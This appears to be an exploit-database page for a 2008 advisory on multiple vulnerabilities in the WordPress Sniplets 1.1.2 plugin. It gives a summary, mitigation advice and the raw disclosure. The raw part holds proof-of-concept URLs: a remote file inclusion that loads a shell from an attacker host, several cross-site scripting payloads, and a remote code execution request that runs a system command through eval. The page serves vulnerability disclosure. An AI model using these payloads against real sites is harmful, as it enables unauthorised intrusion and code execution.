header-logo
Suggest Exploit
vendor:
Sniplets
by:
NBBN
7.5
CVSS
HIGH
Remote File Inclusion, Cross-Site Scripting, Remote Code Execution
94, 79, 78
CWE
Product Name: Sniplets
Affected Version From: 1.1.2002
Affected Version To: 1.1.2002
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Wordpress
2008

WordPress Plugin Sniplets 1.1.2 Multiple Vulnerabilities

Wordpress Plugin Sniplets 1.1.2 is vulnerable to Remote File Inclusion, Cross-Site Scripting and Remote Code Execution. The Remote File Inclusion vulnerability is due to the lack of proper sanitization of user-supplied input in the 'libpath' parameter of the '/modules/syntax_highlight.php' script. This can be exploited to include arbitrary files from remote locations by using a URL in the 'libpath' parameter. The Cross-Site Scripting vulnerability is due to the lack of proper sanitization of user-supplied input in the 'text' parameter of the '/view/sniplets/warning.php', '/view/sniplets/notice.php', '/view/sniplets/inset.php' and '/view/admin/submenu.php' scripts. The Remote Code Execution vulnerability is due to the lack of proper sanitization of user-supplied input in the 'text' parameter of the '/modules/execute.php' script. This can be exploited to execute arbitrary PHP code.

Mitigation:

The vendor has released a patch to address these vulnerabilities. Users are advised to upgrade to the latest version of the plugin.
Source

Exploit-DB raw data:

########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo 
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code: 
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
	$text = '?>'.$text;

eval ('?>'.$text);
?>

Poc: 
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26]